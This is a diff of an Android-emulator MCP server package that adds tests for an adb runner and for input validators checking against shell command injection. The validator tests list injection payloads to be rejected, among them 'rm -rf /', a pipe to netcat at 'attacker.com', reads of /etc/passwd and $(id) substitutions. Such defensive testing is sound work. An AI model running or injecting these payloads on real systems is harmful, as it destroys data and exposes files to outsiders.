mcp-android-emulator 1.4.0 → 2.0.0

package/test/runner.test.ts

@@ -0,0 +1,94 @@
+/**
+ * Tests del runner — verifica que execFile recibe argv separado, no un
+ * string compuesto. Esto demuestra que el HOST está protegido contra
+ * command injection aunque los argumentos contengan metacaracteres.
+ *
+ * Nota: usamos un adb "falso" apuntando a un script de echo que imprime
+ * sus argumentos uno por línea — así podemos verificar exactamente qué
+ * argumentos recibió el binario.
+ */
+
+import { test, before, after } from "node:test";
+import assert from "node:assert/strict";
+import * as fs from "node:fs";
+import * as os from "node:os";
+import * as path from "node:path";
+
+const IS_WINDOWS = process.platform === "win32";
+
+// Skip estos tests en Windows: execFile no corre scripts (.cmd/.sh) sin
+// shell:true, que es justo lo que el runner evita por diseño. En Linux
+// (donde corre el servidor y el release real) los tests corren con un
+// shebang POSIX. La verificación funcional en Windows no es crítica
+// porque adb real se distribuye principalmente para Linux/macOS.
+const SKIP_RUNNER_TESTS = IS_WINDOWS;
+
+const FAKE_ADB_DIR = SKIP_RUNNER_TESTS
+  ? ""
+  : fs.mkdtempSync(path.join(os.tmpdir(), "mcp-fake-adb-"));
+const FAKE_ADB = SKIP_RUNNER_TESTS
+  ? ""
+  : path.join(FAKE_ADB_DIR, "fake-adb.sh");
+
+function installFakeAdb() {
+  const content = '#!/bin/sh\nfor a in "$@"; do echo "$a"; done\n';
+  fs.writeFileSync(FAKE_ADB, content);
+  fs.chmodSync(FAKE_ADB, 0o755);
+  process.env.ADB_PATH = FAKE_ADB;
+}
+
+before(() => {
+  if (SKIP_RUNNER_TESTS) return;
+  installFakeAdb();
+});
+
+after(() => {
+  if (SKIP_RUNNER_TESTS) return;
+  try {
+    fs.rmSync(FAKE_ADB_DIR, { recursive: true, force: true });
+  } catch { /* ignore */ }
+});
+
+if (SKIP_RUNNER_TESTS) {
+  test("runner tests skipped on Windows (execFile cannot run scripts without shell)", { skip: true }, () => {});
+} else {
+  // Importar DESPUÉS de setear ADB_PATH; el módulo lo lee en import time.
+  const { runAdb, runAdbShell } = await import("../src/adb/runner.ts");
+
+  test("runAdb passes each argument separately to adb binary", async () => {
+    const out = await runAdb(["arg1", "arg2 with spaces", "arg3"]);
+    assert.equal(out, "arg1\narg2 with spaces\narg3");
+  });
+
+  test("runAdb does NOT interpret shell metacharacters on the host", async () => {
+    const out = await runAdb(["hello; id"]);
+    assert.equal(out, "hello; id");
+    assert.ok(!out.includes("uid="), "should not contain uid= (would indicate id ran)");
+  });
+
+  test("runAdb protects against $(...) command substitution on host", async () => {
+    const out = await runAdb(["test$(id)"]);
+    assert.equal(out, "test$(id)");
+    assert.ok(!out.includes("uid="));
+  });
+
+  test("runAdb protects against backtick command substitution on host", async () => {
+    const out = await runAdb(["test`id`"]);
+    assert.equal(out, "test`id`");
+    assert.ok(!out.includes("uid="));
+  });
+
+  test("runAdbShell prepends 'shell' as first argument", async () => {
+    const out = await runAdbShell(["pm", "list", "packages"]);
+    const lines = out.split("\n");
+    assert.equal(lines[0], "shell");
+    assert.equal(lines[1], "pm");
+    assert.equal(lines[2], "list");
+    assert.equal(lines[3], "packages");
+  });
+
+  test("runAdbShell requires at least one argument", async () => {
+    // Este caso no depende de ejecutar adb — se valida antes.
+    await assert.rejects(() => runAdbShell([]), /requires at least one argument/);
+  });
+}

package/test/validators.test.ts

@@ -0,0 +1,199 @@
+/**
+ * Tests de validators — asegura que los allowlists rechazan payloads
+ * con metacaracteres shell y aceptan valores legítimos.
+ *
+ * Finalidad: garantizar que la segunda línea de defensa (allowlist zod)
+ * bloquea command injection antes de llegar al runner.
+ */
+
+import { test } from "node:test";
+import assert from "node:assert/strict";
+import {
+  packageNameSchema,
+  apkPathSchema,
+  resourceIdSchema,
+  typeableTextSchema,
+  searchFilterSchema,
+} from "../src/adb/validators.ts";
+
+// ---------------------------------------------------------------------------
+// packageNameSchema
+// ---------------------------------------------------------------------------
+test("packageNameSchema accepts valid Android package names", () => {
+  const valid = [
+    "com.android.chrome",
+    "com.example.app",
+    "org.mozilla.firefox",
+    "a.b",
+    "com.company_x.app_y",
+  ];
+  for (const p of valid) {
+    assert.equal(packageNameSchema.safeParse(p).success, true, `should accept "${p}"`);
+  }
+});
+
+test("packageNameSchema rejects shell-metachar payloads", () => {
+  const malicious = [
+    "com.x; rm -rf /",
+    "com.x && id",
+    "com.x | nc attacker.com 1234",
+    "com.x`whoami`",
+    "com.x$(id)",
+    "com.x\nid",
+    "com.x > /tmp/pwn",
+    "com.x < /etc/passwd",
+    'com.x"id"',
+    "com.x'id'",
+    "com.x\\id",
+    "",               // empty
+    "a",              // too short
+    "no_dot",         // missing dot
+    ".starts.with.dot",
+    "ends.with.dot.",
+    "1starts.with.num",
+  ];
+  for (const p of malicious) {
+    assert.equal(
+      packageNameSchema.safeParse(p).success,
+      false,
+      `should reject "${p}"`
+    );
+  }
+});
+
+// ---------------------------------------------------------------------------
+// apkPathSchema
+// ---------------------------------------------------------------------------
+test("apkPathSchema accepts valid .apk paths", () => {
+  const valid = [
+    "/tmp/app.apk",
+    "/home/user/downloads/my-app.apk",
+    "C:/temp/app.apk",
+    "relative/path/app.apk",
+  ];
+  for (const p of valid) {
+    assert.equal(apkPathSchema.safeParse(p).success, true, `should accept "${p}"`);
+  }
+});
+
+test("apkPathSchema rejects non-apk or malicious paths", () => {
+  const bad = [
+    "/tmp/app.exe",
+    "/tmp/app.apk; rm -rf /",
+    "/tmp/app.apk && id",
+    "/tmp/$(id).apk",
+    "/tmp/`id`.apk",
+    "not-an-apk",
+    "",
+  ];
+  for (const p of bad) {
+    assert.equal(apkPathSchema.safeParse(p).success, false, `should reject "${p}"`);
+  }
+});
+
+// ---------------------------------------------------------------------------
+// resourceIdSchema
+// ---------------------------------------------------------------------------
+test("resourceIdSchema accepts valid Android resource ids", () => {
+  const valid = [
+    "com.app:id/button_login",
+    "com.example.app:id/edit_email",
+    "android:id/button1",
+  ];
+  for (const r of valid) {
+    assert.equal(resourceIdSchema.safeParse(r).success, true, `should accept "${r}"`);
+  }
+});
+
+test("resourceIdSchema rejects malformed or malicious ids", () => {
+  const bad = [
+    "com.app:id/button; id",
+    "com.app:id/$(id)",
+    "no-colon",
+    "com.app:id/",
+    "",
+  ];
+  for (const r of bad) {
+    assert.equal(resourceIdSchema.safeParse(r).success, false, `should reject "${r}"`);
+  }
+});
+
+// ---------------------------------------------------------------------------
+// typeableTextSchema
+// ---------------------------------------------------------------------------
+test("typeableTextSchema accepts common inputs", () => {
+  const valid = [
+    "hello world",
+    "user@example.com",
+    "password-123",
+    "Claude_v2+",
+    "search query",
+    "",
+    "phone: +51-987-654-321",
+  ];
+  for (const t of valid) {
+    assert.equal(typeableTextSchema.safeParse(t).success, true, `should accept "${t}"`);
+  }
+});
+
+test("typeableTextSchema accepts unicode/i18n text (acentos, ñ, emoji, CJK)", () => {
+  const valid = [
+    "niño",
+    "señor",
+    "contraseña",
+    "áéíóú ÁÉÍÓÚ",
+    "¿qué tal?",
+    "café",
+    "北京",
+    "こんにちは",
+    "Привет",
+    "hola 🚀 mundo",
+    "★ rating",
+    "résumé",
+    "naïve",
+    "Zürich",
+  ];
+  for (const t of valid) {
+    assert.equal(typeableTextSchema.safeParse(t).success, true, `should accept "${t}"`);
+  }
+});
+
+test("typeableTextSchema rejects shell-metachar payloads", () => {
+  const bad = [
+    "hello; id",
+    "hello && id",
+    "hello | sh",
+    "hello`whoami`",
+    "hello$(id)",
+    "hello'\"",
+    "hello > /tmp/x",
+    "hello\n",
+    "hello\r",
+    "hello<file",
+  ];
+  for (const t of bad) {
+    assert.equal(typeableTextSchema.safeParse(t).success, false, `should reject "${t}"`);
+  }
+});
+
+// ---------------------------------------------------------------------------
+// searchFilterSchema
+// ---------------------------------------------------------------------------
+test("searchFilterSchema accepts arbitrary printable strings (used in-process)", () => {
+  const valid = [
+    "chrome",
+    "com.google",
+    "error",
+    "Exception thrown",
+    "hola; y rm",         // no llega al shell, se usa en JS
+    "",
+  ];
+  for (const s of valid) {
+    assert.equal(searchFilterSchema.safeParse(s).success, true, `should accept "${s}"`);
+  }
+});
+
+test("searchFilterSchema rejects control characters and oversize", () => {
+  assert.equal(searchFilterSchema.safeParse("bad\x00null").success, false);
+  assert.equal(searchFilterSchema.safeParse("a".repeat(257)).success, false);
+});

package/tsconfig.json

@@ -1,16 +1,16 @@
-{
-  "compilerOptions": {
-    "target": "ES2022",
-    "module": "NodeNext",
-    "moduleResolution": "NodeNext",
-    "outDir": "./dist",
-    "rootDir": "./src",
-    "strict": true,
-    "esModuleInterop": true,
-    "skipLibCheck": true,
-    "forceConsistentCasingInFileNames": true,
-    "declaration": true
-  },
-  "include": ["src/**/*"],
-  "exclude": ["node_modules", "dist"]
-}
+{
+  "compilerOptions": {
+    "target": "ES2022",
+    "module": "NodeNext",
+    "moduleResolution": "NodeNext",
+    "outDir": "./dist",
+    "rootDir": "./src",
+    "strict": true,
+    "esModuleInterop": true,
+    "skipLibCheck": true,
+    "forceConsistentCasingInFileNames": true,
+    "declaration": true
+  },
+  "include": ["src/**/*"],
+  "exclude": ["node_modules", "dist"]
+}